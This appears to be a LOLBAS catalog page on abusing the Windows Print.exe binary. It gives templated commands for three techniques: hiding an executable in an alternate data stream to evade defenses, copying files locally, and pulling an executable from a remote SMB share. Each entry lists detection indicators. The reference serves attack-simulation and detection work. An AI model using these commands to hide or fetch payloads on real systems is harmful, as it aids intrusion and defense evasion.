DΛΣMӨП

Catalog LOLBAS

LOL · Binary

Print.exe

3 techniques WindowsLOLBAS GPL-3.0

ADS

Defense EvasionFile Write Windows

Copy file.exe into the Alternate Data Stream (ADS) of file.txt.

Use Hide binary file in alternate data stream to potentially bypass defensive counter measures

print /D:{PATH_ABSOLUTE}:file.exe {PATH_ABSOLUTE:.exe}
Context
user
Native
ADS
Detection
IOC: Print.exe retrieving files from internet
IOC: Print.exe creating executable files on disk

Copy

File Copy Windows

Copy file from source to destination

Use Copy files

print /D:{PATH_ABSOLUTE:.dest.exe} {PATH_ABSOLUTE:.source.exe}
Context
user
Native
Copy
MITRE
T1105
Detection
IOC: Print.exe retrieving files from internet
IOC: Print.exe creating executable files on disk

Copy

File Copy Windows

Copy File.exe from a network share to the target c:\OutFolder\outfile.exe.

Use Copy/Download file from remote server

print /D:{PATH_ABSOLUTE:.dest.exe} {PATH_SMB:.source.exe}
Context
user
Native
Copy
MITRE
T1105
Detection
IOC: Print.exe retrieving files from internet
IOC: Print.exe creating executable files on disk